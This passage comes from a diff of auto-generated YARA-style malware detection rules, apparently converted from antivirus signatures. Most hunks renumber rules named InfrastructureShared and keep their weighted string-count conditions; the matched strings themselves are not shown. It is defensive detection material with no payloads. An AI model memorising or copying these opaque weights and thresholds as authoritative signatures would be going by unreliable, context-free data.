1)*16965+(#a_34_10 & 1)*13121+(#a_31_11 & 1)*13123) >=12 } -rule _InfrastructureShared_19744{ +rule _InfrastructureShared_20952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -246258,7 +261262,7 @@ rule _InfrastructureShared_19744{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*13110+(#a_42_2 & 1)*13894+(#a_38_3 & 1)*12338+(#a_01_4 & 1)*4096+(#a_59_5 & 1)*-32503+(#a_30_6 & 1)*25911+(#a_68_7 & 1)*25709+(#a_02_8 & 1)*-28550+(#a_2d_9 & 1)*23085+(#a_6b_10 & 1)*28535+(#a_00_12 & 1)*116+(#a_00_13 & 1)*108+(#a_00_14 & 1)*6+(#a_6c_15 & 1)*14934+(#a_2d_16 & 1)*23085) >=17 } -rule _InfrastructureShared_19745{ +rule _InfrastructureShared_20953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -246273,7 +261277,7 @@ rule _InfrastructureShared_19745{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*86+(#a_09_2 & 1)*6544+(#a_2d_3 & 1)*31277+(#a_72_4 & 1)*30496+(#a_00_6 & 1)*111) >=4 } -rule _InfrastructureShared_19746{ +rule _InfrastructureShared_20954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -246288,7 +261292,7 @@ rule _InfrastructureShared_19746{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11585+(#a_19_2 & 1)*27756+(#a_09_3 & 1)*6544+(#a_2d_4 & 1)*31277+(#a_00_6 & 1)*115) >=6 } -rule _InfrastructureShared_19747{ +rule _InfrastructureShared_20955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 0d 00 21 " @@ -246309,7 +261313,7 @@ rule _InfrastructureShared_19747{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*29797+(#a_00_2 & 1)*100+(#a_00_3 & 1)*280+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*103+(#a_6c_7 & 1)*30575+(#a_00_8 & 1)*78+(#a_00_9 & 1)*99+(#a_00_11 & 1)*105+(#a_3a_12 & 1)*24938) >=25 } -rule _InfrastructureShared_19748{ +rule _InfrastructureShared_20956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -246323,7 +261327,7 @@ rule _InfrastructureShared_19748{ ((#a_4c_0 & 1)*21539+(#a_5b_1 & 1)*6912+(#a_6e_2 & 1)*26996+(#a_00_5 & 1)*97+(#a_00_6 & 1)*99) >=5 } -rule _InfrastructureShared_19749{ +rule _InfrastructureShared_20957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -246347,7 +261351,7 @@ rule _InfrastructureShared_19749{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*8236+(#a_30_2 & 1)*12332+(#a_28_3 & 1)*9265+(#a_29_4 & 1)*8297+(#a_52_5 & 1)*26912+(#a_45_6 & 1)*385+(#a_00_7 & 1)*10544+(#a_69_8 & 1)*385+(#a_00_9 & 1)*108+(#a_00_10 & 1)*28008+(#a_62_11 & 1)*26113+(#a_61_12 & 1)*26210+(#a_67_13 & 1)*25968+(#a_68_14 & 1)*28015) >=15 } -rule _InfrastructureShared_19750{ +rule _InfrastructureShared_20958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,6c 00 6c 00 0e 00 21 " @@ -246369,7 +261373,7 @@ rule _InfrastructureShared_19750{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*27489+(#a_62_2 & 1)*28780+(#a_6f_3 & 1)*28779+(#a_62_4 & 1)*28008+(#a_73_5 & 1)*25955+(#a_6c_6 & 1)*29763+(#a_3b_7 & 1)*12855+(#a_01_8 & 1)*-28672+(#a_73_9 & 1)*29477+(#a_68_11 & 1)*13568+(#a_73_12 & 1)*12079+(#a_39_13 & 1)*12378) >=108 } -rule _InfrastructureShared_19751{ +rule _InfrastructureShared_20959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -246385,7 +261389,7 @@ rule _InfrastructureShared_19751{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*29300+(#a_3b_2 & 1)*11828+(#a_77_3 & 1)*19971+(#a_00_4 & 1)*144+(#a_74_5 & 1)*26627+(#a_00_7 & 1)*116) >=4 } -rule _InfrastructureShared_19752{ +rule _InfrastructureShared_20960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -246405,7 +261409,7 @@ rule _InfrastructureShared_19752{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25965+(#a_74_2 & 1)*29285+(#a_65_3 & 1)*29281+(#a_66_4 & 1)*25964+(#a_00_6 & 1)*2+(#a_6c_7 & 1)*25940+(#a_6f_8 & 1)*28018+(#a_72_9 & 1)*28531+(#a_4c_10 & 1)*385+(#a_67_11 & 1)*26994) >=12 } -rule _InfrastructureShared_19753{ +rule _InfrastructureShared_20961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 15 00 21 " @@ -246431,7 +261435,7 @@ rule _InfrastructureShared_19753{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_6f_2 & 1)*25970+(#a_43_4 & 1)*20737+(#a_74_5 & 1)*29797+(#a_34_6 & 1)*13357+(#a_01_8 & 1)*-18346+(#a_c8_9 & 1)*2173+(#a_83_10 & 1)*-11513+(#a_0f_12 & 1)*-14287+(#a_01_13 & 1)*-16640+(#a_30_14 & 1)*29541+(#a_62_15 & 1)*25697+(#a_64_16 & 1)*18780+(#a_73_17 & 1)*27753+(#a_21_18 & 1)*14145+(#a_00_20 & 1)*99) >=21 } -rule _InfrastructureShared_19754{ +rule _InfrastructureShared_20962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -246451,7 +261455,7 @@ rule _InfrastructureShared_19754{ ((#a_54_0 & 1)*18467+(#a_c8_1 & 1)*2173+(#a_07_2 & 1)*4051+(#a_01_3 & 1)*-28583+(#a_00_4 & 1)*2448+(#a_00_5 & 1)*0+(#a_90_6 & 1)*-4221+(#a_90_7 & 1)*23+(#a_30_8 & 1)*12877+(#a_64_9 & 1)*22108+(#a_73_10 & 1)*24939) >=1 } -rule _InfrastructureShared_19755{ +rule _InfrastructureShared_20963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -246469,7 +261473,7 @@ rule _InfrastructureShared_19755{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25960+(#a_25_2 & 1)*10240+(#a_61_3 & 1)*27489+(#a_6e_4 & 1)*27507+(#a_25_5 & 1)*13312+(#a_6c_6 & 1)*28261+(#a_69_7 & 1)*26982+(#a_00_9 & 1)*47) >=10 } -rule _InfrastructureShared_19756{ +rule _InfrastructureShared_20964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 08 00 21 " @@ -246484,7 +261488,7 @@ rule _InfrastructureShared_19756{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*109+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=11 } -rule _InfrastructureShared_19757{ +rule _InfrastructureShared_20965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -246505,7 +261509,7 @@ rule _InfrastructureShared_19757{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*24902+(#a_72_2 & 1)*25963+(#a_6b_3 & 1)*25710+(#a_6c_4 & 1)*29810+(#a_74_5 & 1)*26738+(#a_61_6 & 1)*25924+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=12 } -rule _InfrastructureShared_19758{ +rule _InfrastructureShared_20966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0d 00 21 " @@ -246526,7 +261530,7 @@ rule _InfrastructureShared_19758{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*17522+(#a_74_2 & 1)*31059+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_00_7 & 1)*1+(#a_17_8 & 1)*0+(#a_00_9 & 1)*21569+(#a_65_10 & 1)*23553+(#a_00_11 & 1)*111) >=12 } -rule _InfrastructureShared_19759{ +rule _InfrastructureShared_20967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -246543,7 +261547,7 @@ rule _InfrastructureShared_19759{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_00_2 & 1)*21569+(#a_6e_3 & 1)*29187+(#a_90_4 & 1)*11617+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_17_7 & 1)*0) >=1 } -rule _InfrastructureShared_19760{ +rule _InfrastructureShared_20968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -246561,7 +261565,7 @@ rule _InfrastructureShared_19760{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*10272+(#a_09_2 & 1)*6544+(#a_2d_3 & 1)*31277+(#a_35_4 & 1)*13106+(#a_2d_5 & 1)*31277+(#a_2d_6 & 1)*31277+(#a_5b_7 & 1)*14848+(#a_65_8 & 1)*28271) >=2 } -rule _InfrastructureShared_19761{ +rule _InfrastructureShared_20969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0c 00 21 " @@ -246582,7 +261586,7 @@ rule _InfrastructureShared_19761{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*24946+(#a_45_2 & 1)*271+(#a_73_3 & 1)*28521+(#a_6e_4 & 1)*8277+(#a_20_5 & 1)*28448+(#a_5c_6 & 1)*29285+(#a_6e_7 & 1)*29295+(#a_53_8 & 1)*31092+(#a_00_9 & 1)*30068+(#a_44_10 & 1)*385+(#a_81_11 & 1)*1) >=2 } -rule _InfrastructureShared_19762{ +rule _InfrastructureShared_20970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -246602,7 +261606,7 @@ rule _InfrastructureShared_19762{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24939+(#a_72_2 & 1)*28257+(#a_67_3 & 1)*26994+(#a_25_4 & 1)*29548+(#a_00_5 & 1)*2+(#a_61_6 & 1)*28530+(#a_72_7 & 1)*26956+(#a_73_8 & 1)*29806+(#a_65_9 & 1)*29301+(#a_63_10 & 1)*30063) >=11 } -rule _InfrastructureShared_19763{ +rule _InfrastructureShared_20971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -246623,7 +261627,7 @@ rule _InfrastructureShared_19763{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*385+(#a_72_2 & 1)*11891+(#a_69_3 & 1)*11880+(#a_67_4 & 1)*30305+(#a_72_5 & 1)*28531+(#a_52_6 & 1)*29285+(#a_6c_7 & 1)*26979+(#a_72_8 & 1)*25922+(#a_4c_9 & 1)*21071+(#a_01_10 & 1)*25441+(#a_6e_11 & 1)*28014) >=12 } -rule _InfrastructureShared_19764{ +rule _InfrastructureShared_20972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 0e 00 21 " @@ -246646,7 +261650,7 @@ rule _InfrastructureShared_19764{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*27996+(#a_5c_2 & 1)*13916+(#a_20_3 & 1)*28527+(#a_72_4 & 1)*26471+(#a_00_5 & 1)*58+(#a_65_6 & 1)*29806+(#a_65_7 & 1)*385+(#a_61_8 & 1)*26946+(#a_53_9 & 1)*19542+(#a_54_10 & 1)*14190+(#a_51_11 & 1)*30022+(#a_48_12 & 1)*26990+(#a_5a_13 & 1)*16697) >=16 } -rule _InfrastructureShared_19765{ +rule _InfrastructureShared_20973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -246670,7 +261674,7 @@ rule _InfrastructureShared_19765{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25454+(#a_69_2 & 1)*385+(#a_01_3 & 1)*28265+(#a_37_4 & 1)*13369+(#a_6c_5 & 1)*13363+(#a_41_6 & 1)*29554+(#a_37_7 & 1)*18296+(#a_2e_8 & 1)*28527+(#a_00_10 & 1)*116+(#a_00_11 & 1)*104+(#a_00_13 & 1)*105+(#a_74_14 & 1)*28524+(#a_20_15 & 1)*29541+(#a_20_16 & 1)*27765) >=17 } -rule _InfrastructureShared_19766{ +rule _InfrastructureShared_20974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -246685,7 +261689,7 @@ rule _InfrastructureShared_19766{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*6544+(#a_2d_2 & 1)*31277+(#a_2c_3 & 1)*2+(#a_00_4 & 1)*850+(#a_00_6 & 1)*98) >=4 } -rule _InfrastructureShared_19767{ +rule _InfrastructureShared_20975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " @@ -246706,7 +261710,7 @@ rule _InfrastructureShared_19767{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25970+(#a_63_2 & 1)*29264+(#a_66_3 & 1)*29541+(#a_73_4 & 1)*25955+(#a_53_5 & 1)*26478+(#a_9c_6 & 1)*12339+(#a_6f_7 & 1)*24430+(#a_67_8 & 1)*27760+(#a_39_9 & 1)*12378+(#a_00_11 & 1)*114+(#a_8b_12 & 1)*854) >=4 } -rule _InfrastructureShared_19768{ +rule _InfrastructureShared_20976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -246724,7 +261728,7 @@ rule _InfrastructureShared_19768{ ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*1+(#a_03_2 & 1)*3+(#a_03_3 & 1)*3+(#a_03_4 & 1)*2+(#a_03_5 & 1)*2+(#a_01_6 & 1)*2+(#a_18_7 & 1)*0+(#a_2c_8 & 1)*0) >=6 } -rule _InfrastructureShared_19769{ +rule _InfrastructureShared_20977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -246741,7 +261745,7 @@ rule _InfrastructureShared_19769{ ((#a_54_0 & 1)*18467+(#a_90_3 & 1)*1792+(#a_42_4 & 1)*16740+(#a_00_6 & 1)*79+(#a_00_7 & 1)*75+(#a_00_9 & 1)*68+(#a_6f_10 & 1)*28530+(#a_73_11 & 1)*25970) >=12 } -rule _InfrastructureShared_19770{ +rule _InfrastructureShared_20978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -246760,7 +261764,7 @@ rule _InfrastructureShared_19770{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*12345+(#a_6e_2 & 1)*23653+(#a_79_3 & 1)*23587+(#a_6c_4 & 1)*28783+(#a_52_7 & 1)*21320+(#a_67_8 & 1)*29796+(#a_6c_9 & 1)*11878+(#a_01_10 & 1)*5888+(#a_73_11 & 1)*26215) >=12 } -rule _InfrastructureShared_19771{ +rule _InfrastructureShared_20979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -246784,7 +261788,7 @@ rule _InfrastructureShared_19771{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29542+(#a_64_2 & 1)*25700+(#a_2e_3 & 1)*24947+(#a_66_4 & 1)*26470+(#a_42_5 & 1)*28530+(#a_61_6 & 1)*29798+(#a_4e_7 & 1)*29285+(#a_74_8 & 1)*28499+(#a_6f_9 & 1)*29554+(#a_00_10 & 1)*26445+(#a_00_11 & 1)*144+(#a_51_12 & 1)*19970+(#a_79_13 & 1)*25973+(#a_65_14 & 1)*24932) >=15 } -rule _InfrastructureShared_19772{ +rule _InfrastructureShared_20980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 08 00 21 " @@ -246801,7 +261805,7 @@ rule _InfrastructureShared_19772{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*16640+(#a_72_2 & 1)*30580+(#a_6f_3 & 1)*29554+(#a_6c_4 & 1)*28257+(#a_72_5 & 1)*30019+(#a_00_6 & 1)*26445+(#a_00_7 & 1)*144) >=16 } -rule _InfrastructureShared_19773{ +rule _InfrastructureShared_20981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -246820,7 +261824,7 @@ rule _InfrastructureShared_19773{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*20016+(#a_72_2 & 1)*29774+(#a_64_3 & 1)*21876+(#a_55_4 & 1)*19970+(#a_74_5 & 1)*526+(#a_01_6 & 1)*25345+(#a_01_7 & 1)*-28571+(#a_63_8 & 1)*400+(#a_00_9 & 1)*28417) >=1 } -rule _InfrastructureShared_19774{ +rule _InfrastructureShared_20982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -246845,7 +261849,7 @@ rule _InfrastructureShared_19774{ ((#a_6f_0 & 1)*21539+(#a_6f_1 & 1)*400+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_19_15 & 1)*0) >=1 } -rule _InfrastructureShared_19775{ +rule _InfrastructureShared_20983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -246870,7 +261874,7 @@ rule _InfrastructureShared_19775{ ((#a_6f_0 & 1)*21539+(#a_2f_1 & 1)*400+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_19_15 & 1)*0) >=1 } -rule _InfrastructureShared_19776{ +rule _InfrastructureShared_20984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -246889,7 +261893,7 @@ rule _InfrastructureShared_19776{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26988+(#a_65_2 & 1)*26469+(#a_65_3 & 1)*26414+(#a_6f_4 & 1)*23653+(#a_00_6 & 1)*6520+(#a_00_7 & 1)*15+(#a_2f_8 & 1)*13166+(#a_00_10 & 1)*110+(#a_01_11 & 1)*1536) >=12 } -rule _InfrastructureShared_19777{ +rule _InfrastructureShared_20985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 10 00 21 " @@ -246912,7 +261916,7 @@ rule _InfrastructureShared_19777{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*97+(#a_55_3 & 1)*17989+(#a_6c_4 & 1)*25455+(#a_6c_5 & 1)*25960+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_19_8 & 1)*0+(#a_01_9 & 1)*-28672+(#a_00_11 & 1)*32+(#a_20_12 & 1)*28530+(#a_20_13 & 1)*25449+(#a_01_14 & 1)*4352+(#a_6c_15 & 1)*19791) >=15 } -rule _InfrastructureShared_19778{ +rule _InfrastructureShared_20986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 10 00 21 " @@ -246935,7 +261939,7 @@ rule _InfrastructureShared_19778{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*97+(#a_55_3 & 1)*17989+(#a_6c_4 & 1)*25455+(#a_6f_5 & 1)*27502+(#a_00_6 & 1)*29285+(#a_6c_7 & 1)*384+(#a_53_8 & 1)*21295+(#a_00_9 & 1)*115+(#a_30_10 & 1)*25701+(#a_00_11 & 1)*69+(#a_6b_12 & 1)*28535+(#a_64_13 & 1)*8193+(#a_4c_14 & 1)*8993) >=15 } -rule _InfrastructureShared_19779{ +rule _InfrastructureShared_20987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -246953,7 +261957,7 @@ rule _InfrastructureShared_19779{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_00_2 & 1)*115+(#a_90_3 & 1)*11568+(#a_00_4 & 1)*97+(#a_7a_5 & 1)*24841+(#a_00_7 & 1)*101+(#a_50_8 & 1)*24938+(#a_65_9 & 1)*28277) >=3 } -rule _InfrastructureShared_19780{ +rule _InfrastructureShared_20988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 13 00 21 " @@ -246979,7 +261983,7 @@ rule _InfrastructureShared_19780{ ((#a_46_0 & 1)*16675+(#a_6e_2 & 1)*30036+(#a_69_3 & 1)*24931+(#a_52_4 & 1)*29793+(#a_73_5 & 1)*25088+(#a_41_6 & 1)*8448+(#a_78_7 & 1)*29285+(#a_83_9 & 1)*16384+(#a_00_10 & 1)*2704+(#a_01_11 & 1)*-6140+(#a_c0_12 & 1)*3141+(#a_52_13 & 1)*-18+(#a_6f_14 & 1)*20596+(#a_30_15 & 1)*22119+(#a_44_16 & 1)*17478+(#a_4b_17 & 1)*17480+(#a_74_18 & 1)*25959) >=5 } -rule _InfrastructureShared_19781{ +rule _InfrastructureShared_20989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -247005,7 +262009,7 @@ rule _InfrastructureShared_19781{ ((#a_46_0 & 1)*16675+(#a_83_1 & 1)*-15229+(#a_04_2 & 1)*-28568+(#a_00_3 & 1)*144+(#a_10_4 & 1)*-31997+(#a_01_5 & 1)*-6057+(#a_45_6 & 1)*818+(#a_32_7 & 1)*20836+(#a_74_8 & 1)*18177+(#a_75_9 & 1)*13137+(#a_30_10 & 1)*12851+(#a_44_11 & 1)*19531+(#a_57_12 & 1)*18771+(#a_2f_13 & 1)*18771+(#a_34_14 & 1)*12848+(#a_44_15 & 1)*13105+(#a_39_16 & 1)*12343) >=17 } -rule _InfrastructureShared_19782{ +rule _InfrastructureShared_20990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -247030,7 +262034,7 @@ rule _InfrastructureShared_19782{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_72_2 & 1)*18007+(#a_63_3 & 1)*27756+(#a_44_4 & 1)*19531+(#a_59_5 & 1)*21849+(#a_53_6 & 1)*14930+(#a_32_7 & 1)*14648+(#a_42_8 & 1)*17977+(#a_36_9 & 1)*17456+(#a_61_10 & 1)*31090+(#a_69_11 & 1)*28755+(#a_43_12 & 1)*21296+(#a_00_14 & 1)*2+(#a_41_15 & 1)*8448+(#a_62_16 & 1)*25965) >=17 } -rule _InfrastructureShared_19783{ +rule _InfrastructureShared_20991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -247056,7 +262060,7 @@ rule _InfrastructureShared_19783{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*12848+(#a_44_2 & 1)*13105+(#a_39_3 & 1)*12343+(#a_00_4 & 1)*25965+(#a_65_5 & 1)*385+(#a_01_6 & 1)*26988+(#a_32_7 & 1)*25930+(#a_64_8 & 1)*29797+(#a_01_9 & 1)*-28615+(#a_2d_10 & 1)*23085+(#a_01_11 & 1)*-28672+(#a_6f_12 & 1)*11897+(#a_00_14 & 1)*32+(#a_63_15 & 1)*29264+(#a_90_16 & 1)*11568+(#a_00_17 & 1)*76) >=18 } -rule _InfrastructureShared_19784{ +rule _InfrastructureShared_20992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -247070,7 +262074,7 @@ rule _InfrastructureShared_19784{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*9843+(#a_6e_2 & 1)*25664+(#a_00_4 & 1)*32+(#a_4c_5 & 1)*29541) >=3 } -rule _InfrastructureShared_19785{ +rule _InfrastructureShared_20993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -247082,7 +262086,7 @@ rule _InfrastructureShared_19785{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_3 & 1)*101) >=4 } -rule _InfrastructureShared_19786{ +rule _InfrastructureShared_20994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -247095,7 +262099,7 @@ rule _InfrastructureShared_19786{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_00_2 & 1)*48+(#a_00_3 & 1)*115) >=5 } -rule _InfrastructureShared_19787{ +rule _InfrastructureShared_20995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 19 00 21 " @@ -247125,7 +262129,7 @@ rule _InfrastructureShared_19787{ ((#a_4c_0 & 1)*21539+(#a_b9_1 & 1)*22577+(#a_0c_2 & 1)*16644+(#a_74_3 & 1)*28233+(#a_6e_4 & 1)*19813+(#a_00_6 & 1)*85+(#a_00_7 & 1)*101+(#a_00_8 & 1)*32+(#a_00_10 & 1)*115+(#a_00_11 & 1)*111+(#a_00_12 & 1)*32+(#a_00_14 & 1)*116+(#a_64_15 & 1)*28524+(#a_90_16 & 1)*770+(#a_00_17 & 1)*770+(#a_2e_18 & 1)*656+(#a_6c_19 & 1)*29796+(#a_00_20 & 1)*1282+(#a_00_21 & 1)*78+(#a_5c_22 & 1)*30575+(#a_3a_24 & 1)*19521) >=8 } -rule _InfrastructureShared_19788{ +rule _InfrastructureShared_20996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -247140,7 +262144,7 @@ rule _InfrastructureShared_19788{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_00_3 & 1)*32+(#a_00_5 & 1)*32+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=9 } -rule _InfrastructureShared_19789{ +rule _InfrastructureShared_20997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,00 01 ffffff80 00 0d 00 21 " @@ -247161,7 +262165,7 @@ rule _InfrastructureShared_19789{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_74_2 & 1)*547+(#a_00_3 & 1)*122+(#a_6d_4 & 1)*9843+(#a_6e_5 & 1)*25708+(#a_65_6 & 1)*28783+(#a_47_7 & 1)*29806+(#a_65_8 & 1)*27715+(#a_65_9 & 1)*26950+(#a_01_10 & 1)*25963+(#a_00_12 & 1)*118) >=128 } -rule _InfrastructureShared_19790{ +rule _InfrastructureShared_20998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 11 00 21 " @@ -247184,7 +262188,7 @@ rule _InfrastructureShared_19790{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*11777+(#a_46_2 & 1)*18268+(#a_69_3 & 1)*17232+(#a_6c_4 & 1)*17986+(#a_42_5 & 1)*281+(#a_42_6 & 1)*284+(#a_00_8 & 1)*97+(#a_76_9 & 1)*9728+(#a_00_10 & 1)*114+(#a_61_11 & 1)*535+(#a_00_13 & 1)*81+(#a_77_14 & 1)*30068+(#a_02_16 & 1)*1) >=3 } -rule _InfrastructureShared_19791{ +rule _InfrastructureShared_20999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -247201,7 +262205,7 @@ rule _InfrastructureShared_19791{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28624+(#a_63_2 & 1)*30054+(#a_00_4 & 1)*108+(#a_76_6 & 1)*20224+(#a_3d_7 & 1)*400+(#a_65_8 & 1)*25442+(#a_01_9 & 1)*-28672) >=6 } -rule _InfrastructureShared_19792{ +rule _InfrastructureShared_21000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -247218,7 +262222,7 @@ rule _InfrastructureShared_19792{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29285+(#a_6e_2 & 